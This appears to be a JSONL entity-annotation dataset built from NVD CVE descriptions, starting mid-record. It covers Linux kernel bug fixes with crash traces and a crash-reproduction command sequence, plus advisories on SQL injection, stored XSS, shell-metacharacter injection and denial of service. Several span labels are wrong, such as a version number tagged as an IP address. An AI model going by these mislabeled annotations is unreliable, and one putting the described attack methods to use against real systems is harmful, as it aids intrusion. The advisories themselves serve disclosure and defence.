ffa00000001f7da8 R08: ff1100035f8fffe8 R09: 0000000000027ffb\n[ 7679.293840] R10: 0000000000001f0a R11: ff1100035f840000 R12: ff11000109938000\n[ 7679.306276] R13: 0000000000000002 R14: dead000000000122 R15: ffa00000001f7e18\n[ 7679.318648] FS:  0000000000000000(0000) GS:ff11000361e00000(0000) knlGS:0000000000000000\n[ 7679.332064] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 7679.342757] CR2: 00007ffff7fca168 CR3: 000000013b08a006 CR4: 0000000000471ef8\n[ 7679.354984] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 7679.367207] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\n[ 7679.379370] PKRU: 55555554\n[ 7679.386446] Call Trace:\n[ 7679.393152]  <TASK>\n[ 7679.399363]  ? __pfx_dev_watchdog+0x10/0x10\n[ 7679.407870]  call_timer_fn+0x31/0x110\n[ 7679.415698]  e\n---truncated---", "spans": {"FILEPATH: /sched/sch_generic.c": [[1096, 1116]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54166"}}
{"text": "The Administration GUI component of TIBCO Software Inc.'s TIBCO Administrator - Enterprise Edition, TIBCO Administrator - Enterprise Edition, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric, TIBCO Administrator - Enterprise Edition for z/Linux, TIBCO Administrator - Enterprise Edition for z/Linux, TIBCO Runtime Agent, TIBCO Runtime Agent, TIBCO Runtime Agent for z/Linux, and TIBCO Runtime Agent for z/Linux contains an easily exploitable vulnerability that allows an unauthenticated attacker to social engineer a legitimate user with network access to execute a Stored XSS attack targeting the affected system. A successful attack using this vulnerability requires human interaction from a person other than the attacker. Affected releases are TIBCO Software Inc.'s TIBCO Administrator - Enterprise Edition: versions 5.10.2 and below, TIBCO Administrator - Enterprise Edition: versions 5.11.0 and 5.11.1, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric: versions 5.10.2 and below, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric: versions 5.11.0 and 5.11.1, TIBCO Administrator - Enterprise Edition for z/Linux: versions 5.10.2 and below, TIBCO Administrator - Enterprise Edition for z/Linux: versions 5.11.0 and 5.11.1, TIBCO Runtime Agent: versions 5.10.2 and below, TIBCO Runtime Agent: versions 5.11.0 and 5.11.1, TIBCO Runtime Agent for z/Linux: versions 5.10.2 and below, and TIBCO Runtime Agent for z/Linux: versions 5.11.0 and 5.11.1.", "spans": {"SYSTEM: Linux": [[347, 352], [401, 406], [476, 481], [513, 518], [1277, 1282], [1358, 1363], [1516, 1521], [1580, 1585]], "VULNERABILITY: Stored XSS": [[674, 684]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28827"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to check readonly condition correctly\n\nWith below case, it can mount multi-device image w/ rw option, however\none of secondary device is set as ro, later update will cause panic, so\nlet's introduce f2fs_dev_is_readonly(), and check multi-devices rw status\nin f2fs_remount() w/ it in order to avoid such inconsistent mount status.\n\nmkfs.f2fs -c /dev/zram1 /dev/zram0 -f\nblockdev --setro /dev/zram1\nmount -t f2fs dev/zram0 /mnt/f2fs\nmount: /mnt/f2fs: WARNING: source write-protected, mounted read-only.\nmount -t f2fs -o remount,rw mnt/f2fs\ndd if=/dev/zero  of=/mnt/f2fs/file bs=1M count=8192\n\nkernel BUG at fs/f2fs/inline.c:258!\nRIP: 0010:f2fs_write_inline_data+0x23e/0x2d0 [f2fs]\nCall Trace:\n  f2fs_write_single_data_page+0x26b/0x9f0 [f2fs]\n  f2fs_write_cache_pages+0x389/0xa60 [f2fs]\n  __f2fs_write_data_pages+0x26b/0x2d0 [f2fs]\n  f2fs_write_data_pages+0x2e/0x40 [f2fs]\n  do_writepages+0xd3/0x1b0\n  __writeback_single_inode+0x5b/0x420\n  writeback_sb_inodes+0x236/0x5a0\n  __writeback_inodes_wb+0x56/0xf0\n  wb_writeback+0x2a3/0x490\n  wb_do_writeback+0x2b2/0x330\n  wb_workfn+0x6a/0x260\n  process_one_work+0x270/0x5e0\n  worker_thread+0x52/0x3e0\n  kthread+0xf4/0x120\n  ret_from_fork+0x29/0x50", "spans": {"FILEPATH: /dev/zram1": [[423, 433], [465, 475]], "FILEPATH: /dev/zram0": [[434, 444]], "FILEPATH: /mnt/f2fs": [[500, 509], [517, 526]], "FILEPATH: /dev/zero": [[623, 632]], "FILEPATH: /mnt/f2fs/file": [[637, 651]], "FILEPATH: /f2fs/inline.c": [[686, 700]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54182"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: KVM: Teardown riscv specific bits after kvm_exit\n\nDuring a module removal, kvm_exit invokes arch specific disable\ncall which disables AIA. However, we invoke aia_exit before kvm_exit\nresulting in the following warning. KVM kernel module can't be inserted\nafterwards due to inconsistent state of IRQ.\n\n[25469.031389] percpu IRQ 31 still enabled on CPU0!\n[25469.031732] WARNING: CPU: 3 PID: 943 at kernel/irq/manage.c:2476 __free_percpu_irq+0xa2/0x150\n[25469.031804] Modules linked in: kvm(-)\n[25469.031848] CPU: 3 UID: 0 PID: 943 Comm: rmmod Not tainted 6.14.0-rc5-06947-g91c763118f47-dirty #2\n[25469.031905] Hardware name: riscv-virtio,qemu (DT)\n[25469.031928] epc : __free_percpu_irq+0xa2/0x150\n[25469.031976]  ra : __free_percpu_irq+0xa2/0x150\n[25469.032197] epc : ffffffff8007db1e ra : ffffffff8007db1e sp : ff2000000088bd50\n[25469.032241]  gp : ffffffff8131cef8 tp : ff60000080b96400 t0 : ff2000000088baf8\n[25469.032285]  t1 : fffffffffffffffc t2 : 5249207570637265 s0 : ff2000000088bd90\n[25469.032329]  s1 : ff60000098b21080 a0 : 037d527a15eb4f00 a1 : 037d527a15eb4f00\n[25469.032372]  a2 : 0000000000000023 a3 : 0000000000000001 a4 : ffffffff8122dbf8\n[25469.032410]  a5 : 0000000000000fff a6 : 0000000000000000 a7 : ffffffff8122dc10\n[25469.032448]  s2 : ff60000080c22eb0 s3 : 0000000200000022 s4 : 000000000000001f\n[25469.032488]  s5 : ff60000080c22e00 s6 : ffffffff80c351c0 s7 : 0000000000000000\n[25469.032582]  s8 : 0000000000000003 s9 : 000055556b7fb490 s10: 00007ffff0e12fa0\n[25469.032621]  s11: 00007ffff0e13e9a t3 : ffffffff81354ac7 t4 : ffffffff81354ac7\n[25469.032664]  t5 : ffffffff81354ac8 t6 : ffffffff81354ac7\n[25469.032698] status: 0000000200000100 badaddr: ffffffff8007db1e cause: 0000000000000003\n[25469.032738] [<ffffffff8007db1e>] __free_percpu_irq+0xa2/0x150\n[25469.032797] [<ffffffff8007dbfc>] free_percpu_irq+0x30/0x5e\n[25469.032856] [<ffffffff013a57dc>] kvm_riscv_aia_exit+0x40/0x42 [kvm]\n[25469.033947] [<ffffffff013b4e82>] cleanup_module+0x10/0x32 [kvm]\n[25469.035300] [<ffffffff8009b150>] __riscv_sys_delete_module+0x18e/0x1fc\n[25469.035374] [<ffffffff8000c1ca>] syscall_handler+0x3a/0x46\n[25469.035456] [<ffffffff809ec9a4>] do_trap_ecall_u+0x72/0x134\n[25469.035536] [<ffffffff809f5e18>] handle_exception+0x148/0x156\n\nInvoke aia_exit and other arch specific cleanup functions after kvm_exit\nso that disable gets a chance to be called first before exit.", "spans": {"FILEPATH: /irq/manage.c": [[479, 492]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[77, 80], [296, 299]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23135"}}
{"text": "Arduino App Lab is a cross-platform IDE for developing Arduino Apps. Prior to 0.4.0, a vulnerability was identified in the Terminal component of the arduino-app-lab application. The issue stems from insufficient sanitization and validation of input data received from connected hardware devices, specifically in the _info.Serial and _info.Address metadata fields. The problem occurs during device information handling. When a board is connected, the application collects identifying attributes to establish a terminal session. Because strict validation is not enforced for the Serial and Address parameters, an attacker with control over the connected hardware can supply specially crafted strings containing shell metacharacters. The exploitation requires direct physical access to a previously tampered board. When the host system processes these fields, any injected payload is executed with the privileges of the user running arduino-app-lab. This vulnerability is fixed in 0.4.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25933"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinder: fix OOB in binder_add_freeze_work()\n\nIn binder_add_freeze_work() we iterate over the proc->nodes with the\nproc->inner_lock held. However, this lock is temporarily dropped to\nacquire the node->lock first (lock nesting order). This can race with\nbinder_deferred_release() which removes the nodes from the proc->nodes\nrbtree and adds them into binder_dead_nodes list. This leads to a broken\niteration in binder_add_freeze_work() as rb_next() will use data from\nbinder_dead_nodes, triggering an out-of-bounds access:\n\n  ==================================================================\n  BUG: KASAN: global-out-of-bounds in rb_next+0xfc/0x124\n  Read of size 8 at addr ffffcb84285f7170 by task freeze/660\n\n  CPU: 8 UID: 0 PID: 660 Comm: freeze Not tainted 6.11.0-07343-ga727812a8d45 #18\n  Hardware name: linux,dummy-virt (DT)\n  Call trace:\n   rb_next+0xfc/0x124\n   binder_add_freeze_work+0x344/0x534\n   binder_ioctl+0x1e70/0x25ac\n   __arm64_sys_ioctl+0x124/0x190\n\n  The buggy address belongs to the variable:\n   binder_dead_nodes+0x10/0x40\n  [...]\n  ==================================================================\n\nThis is possible because proc->nodes (rbtree) and binder_dead_nodes\n(list) share entries in binder_node through a union:\n\n\tstruct binder_node {\n\t[...]\n\t\tunion {\n\t\t\tstruct rb_node rb_node;\n\t\t\tstruct hlist_node dead_node;\n\t\t};\n\nFix the race by checking that the proc is still alive. If not, simply\nbreak out of the iteration.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[568, 588]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56555"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath10k: avoid NULL pointer error during sdio remove\n\nWhen running 'rmmod ath10k', ath10k_sdio_remove() will free sdio\nworkqueue by destroy_workqueue(). But if CONFIG_INIT_ON_FREE_DEFAULT_ON\nis set to yes, kernel panic will happen:\nCall trace:\n destroy_workqueue+0x1c/0x258\n ath10k_sdio_remove+0x84/0x94\n sdio_bus_remove+0x50/0x16c\n device_release_driver_internal+0x188/0x25c\n device_driver_detach+0x20/0x2c\n\nThis is because during 'rmmod ath10k', ath10k_sdio_remove() will call\nath10k_core_destroy() before destroy_workqueue(). wiphy_dev_release()\nwill finally be called in ath10k_core_destroy(). This function will free\nstruct cfg80211_registered_device *rdev and all its members, including\nwiphy, dev and the pointer of sdio workqueue. Then the pointer of sdio\nworkqueue will be set to NULL due to CONFIG_INIT_ON_FREE_DEFAULT_ON.\n\nAfter device release, destroy_workqueue() will use NULL pointer then the\nkernel panic happen.\n\nCall trace:\nath10k_sdio_remove\n  ->ath10k_core_unregister\n    ……\n    ->ath10k_core_stop\n      ->ath10k_hif_stop\n        ->ath10k_sdio_irq_disable\n    ->ath10k_hif_power_down\n      ->del_timer_sync(&ar_sdio->sleep_timer)\n  ->ath10k_core_destroy\n    ->ath10k_mac_destroy\n      ->ieee80211_free_hw\n        ->wiphy_free\n    ……\n          ->wiphy_dev_release\n  ->destroy_workqueue\n\nNeed to call destroy_workqueue() before ath10k_core_destroy(), free\nthe work queue buffer first and then free pointer of work queue by\nath10k_core_destroy(). This order matches the error path order in\nath10k_sdio_probe().\n\nNo work will be queued on sdio workqueue between it is destroyed and\nath10k_core_destroy() is called. Based on the call_stack above, the\nreason is:\nOnly ath10k_sdio_sleep_timer_handler(), ath10k_sdio_hif_tx_sg() and\nath10k_sdio_irq_disable() will queue work on sdio workqueue.\nSleep timer will be deleted before ath10k_core_destroy() in\nath10k_hif_power_down().\nath10k_sdio_irq_disable() only be called in ath10k_hif_stop().\nath10k_core_unregister() will call ath10k_hif_power_down() to stop hif\nbus, so ath10k_sdio_hif_tx_sg() won't be called anymore.\n\nTested-on: QCA6174 hw3.2 SDIO WLAN.RMH.4.4.1-00189", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56599"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Get source vCPUs from source VM for SEV-ES intrahost migration\n\nFix a goof where KVM tries to grab source vCPUs from the destination VM\nwhen doing intrahost migration.  Grabbing the wrong vCPU not only hoses\nthe guest, it also crashes the host due to the VMSA pointer being left\nNULL.\n\n  BUG: unable to handle page fault for address: ffffe38687000000\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 0 P4D 0\n  Oops: 0000 [#1] SMP NOPTI\n  CPU: 39 PID: 17143 Comm: sev_migrate_tes Tainted: GO       6.5.0-smp--fff2e47e6c3b-next #151\n  Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 34.28.0 07/10/2023\n  RIP: 0010:__free_pages+0x15/0xd0\n  RSP: 0018:ffff923fcf6e3c78 EFLAGS: 00010246\n  RAX: 0000000000000000 RBX: ffffe38687000000 RCX: 0000000000000100\n  RDX: 0000000000000100 RSI: 0000000000000000 RDI: ffffe38687000000\n  RBP: ffff923fcf6e3c88 R08: ffff923fcafb0000 R09: 0000000000000000\n  R10: 0000000000000000 R11: ffffffff83619b90 R12: ffff923fa9540000\n  R13: 0000000000080007 R14: ffff923f6d35d000 R15: 0000000000000000\n  FS:  0000000000000000(0000) GS:ffff929d0d7c0000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: ffffe38687000000 CR3: 0000005224c34005 CR4: 0000000000770ee0\n  PKRU: 55555554\n  Call Trace:\n   <TASK>\n   sev_free_vcpu+0xcb/0x110 [kvm_amd]\n   svm_vcpu_free+0x75/0xf0 [kvm_amd]\n   kvm_arch_vcpu_destroy+0x36/0x140 [kvm]\n   kvm_destroy_vcpus+0x67/0x100 [kvm]\n   kvm_arch_destroy_vm+0x161/0x1d0 [kvm]\n   kvm_put_kvm+0x276/0x560 [kvm]\n   kvm_vm_release+0x25/0x30 [kvm]\n   __fput+0x106/0x280\n   ____fput+0x12/0x20\n   task_work_run+0x86/0xb0\n   do_exit+0x2e3/0x9c0\n   do_group_exit+0xb1/0xc0\n   __x64_sys_exit_group+0x1b/0x20\n   do_syscall_64+0x41/0x90\n   entry_SYSCALL_64_after_hwframe+0x63/0xcd\n   </TASK>\n  CR2: ffffe38687000000", "spans": {"FILEPATH: /10/2023": [[731, 739]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72], [160, 163]], "ORGANIZATION: Google": [[674, 680]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54296"}}
{"text": "PostgreSQL JDBC Driver (PgJDBC for short) allows Java programs to connect to a PostgreSQL database using standard, database independent Java code. The PGJDBC implementation of the `java.sql.ResultRow.refreshRow()` method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. `;`, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user. User applications that do not invoke the `ResultSet.refreshRow()` method are not impacted. User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the `refreshRow()` method on the ResultSet. Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user. Patched versions will be released as `42.2.26` and `42.4.1`. Users are advised to upgrade. There are no known workarounds for this issue.", "spans": {"FILEPATH: java.sql": [[181, 189]], "SYSTEM: PostgreSQL": [[0, 10], [79, 89]], "SYSTEM: Java": [[49, 53], [136, 140]], "VULNERABILITY: SQL injection": [[353, 366]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31197"}}
{"text": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime). Supported versions that are affected are 9.2.5.3 and prior. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data as well as unauthorized read access to a subset of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 9.2.5.3": [[148, 155]], "ORGANIZATION: Oracle": [[63, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2375"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: map the EBADMSG to nfserr_io to avoid warning\n\nExt4 will throw -EBADMSG through ext4_readdir when a checksum error\noccurs, resulting in the following WARNING.\n\nFix it by mapping EBADMSG to nfserr_io.\n\nnfsd_buffered_readdir\n iterate_dir // -EBADMSG -74\n  ext4_readdir // .iterate_shared\n   ext4_dx_readdir\n    ext4_htree_fill_tree\n     htree_dirblock_to_tree\n      ext4_read_dirblock\n       __ext4_read_dirblock\n        ext4_dirblock_csum_verify\n         warn_no_space_for_csum\n          __warn_no_space_for_csum\n        return ERR_PTR(-EFSBADCRC) // -EBADMSG -74\n nfserrno // WARNING\n\n[  161.115610] ------------[ cut here ]------------\n[  161.116465] nfsd: non-standard errno: -74\n[  161.117315] WARNING: CPU: 1 PID: 780 at fs/nfsd/nfsproc.c:878 nfserrno+0x9d/0xd0\n[  161.118596] Modules linked in:\n[  161.119243] CPU: 1 PID: 780 Comm: nfsd Not tainted 5.10.0-00014-g79679361fd5d #138\n[  161.120684] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qe\nmu.org 04/01/2014\n[  161.123601] RIP: 0010:nfserrno+0x9d/0xd0\n[  161.124676] Code: 0f 87 da 30 dd 00 83 e3 01 b8 00 00 00 05 75 d7 44 89 ee 48 c7 c7 c0 57 24 98 89 44 24 04 c6\n 05 ce 2b 61 03 01 e8 99 20 d8 00 <0f> 0b 8b 44 24 04 eb b5 4c 89 e6 48 c7 c7 a0 6d a4 99 e8 cc 15 33\n[  161.127797] RSP: 0018:ffffc90000e2f9c0 EFLAGS: 00010286\n[  161.128794] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\n[  161.130089] RDX: 1ffff1103ee16f6d RSI: 0000000000000008 RDI: fffff520001c5f2a\n[  161.131379] RBP: 0000000000000022 R08: 0000000000000001 R09: ffff8881f70c1827\n[  161.132664] R10: ffffed103ee18304 R11: 0000000000000001 R12: 0000000000000021\n[  161.133949] R13: 00000000ffffffb6 R14: ffff8881317c0000 R15: ffffc90000e2fbd8\n[  161.135244] FS:  0000000000000000(0000) GS:ffff8881f7080000(0000) knlGS:0000000000000000\n[  161.136695] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  161.137761] CR2: 00007fcaad70b348 CR3: 0000000144256006 CR4: 0000000000770ee0\n[  161.139041] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  161.140291] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  161.141519] PKRU: 55555554\n[  161.142076] Call Trace:\n[  161.142575]  ? __warn+0x9b/0x140\n[  161.143229]  ? nfserrno+0x9d/0xd0\n[  161.143872]  ? report_bug+0x125/0x150\n[  161.144595]  ? handle_bug+0x41/0x90\n[  161.145284]  ? exc_invalid_op+0x14/0x70\n[  161.146009]  ? asm_exc_invalid_op+0x12/0x20\n[  161.146816]  ? nfserrno+0x9d/0xd0\n[  161.147487]  nfsd_buffered_readdir+0x28b/0x2b0\n[  161.148333]  ? nfsd4_encode_dirent_fattr+0x380/0x380\n[  161.149258]  ? nfsd_buffered_filldir+0xf0/0xf0\n[  161.150093]  ? wait_for_concurrent_writes+0x170/0x170\n[  161.151004]  ? generic_file_llseek_size+0x48/0x160\n[  161.151895]  nfsd_readdir+0x132/0x190\n[  161.152606]  ? nfsd4_encode_dirent_fattr+0x380/0x380\n[  161.153516]  ? nfsd_unlink+0x380/0x380\n[  161.154256]  ? override_creds+0x45/0x60\n[  161.155006]  nfsd4_encode_readdir+0x21a/0x3d0\n[  161.155850]  ? nfsd4_encode_readlink+0x210/0x210\n[  161.156731]  ? write_bytes_to_xdr_buf+0x97/0xe0\n[  161.157598]  ? __write_bytes_to_xdr_buf+0xd0/0xd0\n[  161.158494]  ? lock_downgrade+0x90/0x90\n[  161.159232]  ? nfs4svc_decode_voidarg+0x10/0x10\n[  161.160092]  nfsd4_encode_operation+0x15a/0x440\n[  161.160959]  nfsd4_proc_compound+0x718/0xe90\n[  161.161818]  nfsd_dispatch+0x18e/0x2c0\n[  161.162586]  svc_process_common+0x786/0xc50\n[  161.163403]  ? nfsd_svc+0x380/0x380\n[  161.164137]  ? svc_printk+0x160/0x160\n[  161.164846]  ? svc_xprt_do_enqueue.part.0+0x365/0x380\n[  161.165808]  ? nfsd_svc+0x380/0x380\n[  161.166523]  ? rcu_is_watching+0x23/0x40\n[  161.167309]  svc_process+0x1a5/0x200\n[  161.168019]  nfsd+0x1f5/0x380\n[  161.168663]  ? nfsd_shutdown_threads+0x260/0x260\n[  161.169554]  kthread+0x1c4/0x210\n[  161.170224]  ? kthread_insert_work_sanity_check+0x80/0x80\n[  161.171246]  ret_from_fork+0x1f/0x30", "spans": {"DOMAIN: mu.org": [[1075, 1081]], "FILEPATH: /nfsd/nfsproc.c": [[802, 817]], "FILEPATH: /01/2014": [[1084, 1092]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[991, 995]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49875"}}
{"text": "When a device running Juniper Networks Junos OS with MPC7, MPC8, or MPC9 line cards installed and the system is configured for inline IP reassembly, used by L2TP, MAP-E, GRE, and IPIP, the packet forwarding engine (PFE) will become disabled upon receipt of large packets requiring fragmentation, generating the following error messages: [LOG: Err] MQSS(0): WO: Packet Error - Error Packets 1, Connection 29 [LOG: Err] eachip_hmcif_rx_intr_handler(7259): EA[0:0]: HMCIF Rx: Injected checksum error detected on WO response - Chunk Address 0x0 [LOG: Err] MQSS(0): DRD: RORD1: CMD reorder ID error - Command 11, Reorder ID 1838, QID 0 [LOG: Err] MQSS(0): DRD: UNROLL0: HMC chunk length error in stage 5 - Chunk Address: 0x4321f3 [LOG: Err] MQSS(0): DRD: UNROLL0: HMC chunk address error in stage 5 - Chunk Address: 0x0 [LOG: Notice] Error: /fpc/8/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc), scope: pfe, category: functional, severity: major, module: MQSS(0), type: DRD_RORD_ENG_INT: CMD FSM State Error [LOG: Notice] Performing action cmalarm for error /fpc/8/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(0) with scope: pfe category: functional level: major [LOG: Notice] Performing action get-state for error /fpc/8/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(0) with scope: pfe category: functional level: major [LOG: Notice] Performing action disable-pfe for error /fpc/8/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(0) with scope: pfe category: functional level: major By continuously sending fragmented packets that cannot be reassembled, an attacker can repeatedly disable the PFE causing a sustained Denial of Service (DoS). This issue affects Juniper Networks Junos OS: 17.2 versions prior to 17.2R3-S4 on MX Series; 17.3 versions prior to 17.3R3-S8 on MX Series; 17.4 versions prior to 17.4R2-S10, 17.4R3-S2 on MX Series; 18.1 versions prior to 18.1R3-S10 on MX Series; 18.2 versions prior to 18.2R3-S3 on MX Series; 18.2X75 versions prior to 18.2X75-D41, 18.2X75-D430, 18.2X75-D65 on MX Series; 18.3 versions prior to 18.3R1-S7, 18.3R2-S4, 18.3R3-S1 on MX Series; 18.4 versions prior to 18.4R1-S7, 18.4R2-S4, 18.4R3 on MX Series; 19.1 versions prior to 19.1R1-S5, 19.1R2-S1, 19.1R3 on MX Series; 19.2 versions prior to 19.2R1-S4, 19.2R2 on MX Series; 19.3 versions prior to 19.3R2-S2, 19.3R3 on MX Series. This issue is specific to inline IP reassembly, introduced in Junos OS 17.2. Versions of Junos OS prior to 17.2 are unaffected by this vulnerability.", "spans": {"FILEPATH: /fpc/8/pfe/0/cm/0/MQSS": [[836, 858], [1090, 1112], [1302, 1324], [1516, 1538]], "FILEPATH: /0/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR": [[861, 915], [1115, 1169], [1327, 1381], [1541, 1595]], "ORGANIZATION: Juniper": [[22, 29], [1854, 1861]], "VULNERABILITY: Denial of Service": [[1810, 1827]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1655"}}
{"text": "Internet Routing Registry daemon version 4 is an IRR database server, processing IRR objects in the RPSL format. IRRd did not always filter password hashes in query responses relating to `mntner` objects and database exports. This may have allowed adversaries to retrieve some of these hashes, perform a brute-force search for the clear-text passphrase, and use these to make unauthorised changes to affected IRR objects. This issue only affected instances that process password hashes, which means it is limited to IRRd instances that serve authoritative databases. IRRd instances operating solely as mirrors of other IRR databases are not affected. This has been fixed in IRRd 4.2.3 and the main branch. Versions in the 4.1.x series never were affected. Users of the 4.2.x series are strongly recommended to upgrade. There are no known workarounds for this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24798"}}
{"text": "The FTL Server (tibftlserver) and Docker images containing tibftlserver components of TIBCO Software Inc.'s TIBCO ActiveSpaces - Community Edition, TIBCO ActiveSpaces - Developer Edition, TIBCO ActiveSpaces - Enterprise Edition, TIBCO FTL - Community Edition, TIBCO FTL - Developer Edition, TIBCO FTL - Enterprise Edition, TIBCO eFTL - Community Edition, TIBCO eFTL - Developer Edition, and TIBCO eFTL - Enterprise Edition contain a vulnerability that theoretically allows a non-administrative, authenticated FTL user to trick the affected components into creating illegitimate certificates. These maliciously generated certificates can be used to enable man-in-the-middle attacks or to escalate privileges so that the malicious user has administrative privileges. Affected releases are TIBCO Software Inc.'s TIBCO ActiveSpaces - Community Edition: versions 4.3.0, 4.4.0, 4.5.0, 4.6.0, 4.6.1, and 4.6.2, TIBCO ActiveSpaces - Developer Edition: versions 4.3.0, 4.4.0, 4.5.0, 4.6.0, 4.6.1, and 4.6.2, TIBCO ActiveSpaces - Enterprise Edition: versions 4.3.0, 4.4.0, 4.5.0, 4.6.0, 4.6.1, and 4.6.2, TIBCO FTL - Community Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0, TIBCO FTL - Developer Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0, TIBCO FTL - Enterprise Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0, TIBCO eFTL - Community Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0, TIBCO eFTL - Developer Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0, and TIBCO eFTL - Enterprise Edition: versions 6.2.0, 6.3.0, 6.3.1, 6.4.0, 6.5.0, 6.6.0, 6.6.1, and 6.7.0.", "spans": {"ORGANIZATION: Docker": [[34, 40]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35497"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Prevent excessive number of frames\n\nIn this case, the user constructed the parameters with maxpacksize 40\nfor rate 22050 / pps 1000, and packsize[0] 22 packsize[1] 23. The buffer\nsize for each data URB is maxpacksize * packets, which in this example\nis 40 * 6 = 240; When the user performs a write operation to send audio\ndata into the ALSA PCM playback stream, the calculated number of frames\nis packsize[0] * packets = 264, which exceeds the allocated URB buffer\nsize, triggering the out-of-bounds (OOB) issue reported by syzbot [1].\n\nAdded a check for the number of single data URB frames when calculating\nthe number of frames to prevent [1].\n\n[1]\nBUG: KASAN: slab-out-of-bounds in copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\nWrite of size 264 at addr ffff88804337e800 by task syz.0.17/5506\nCall Trace:\n copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\n prepare_playback_urb+0x953/0x13d0 sound/usb/pcm.c:1611\n prepare_outbound_urb+0x377/0xc50 sound/usb/endpoint.c:333", "spans": {"FILEPATH: /usb/pcm.c": [[800, 810], [923, 933], [979, 989]], "FILEPATH: /usb/endpoint.c": [[1034, 1049]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23208"}}
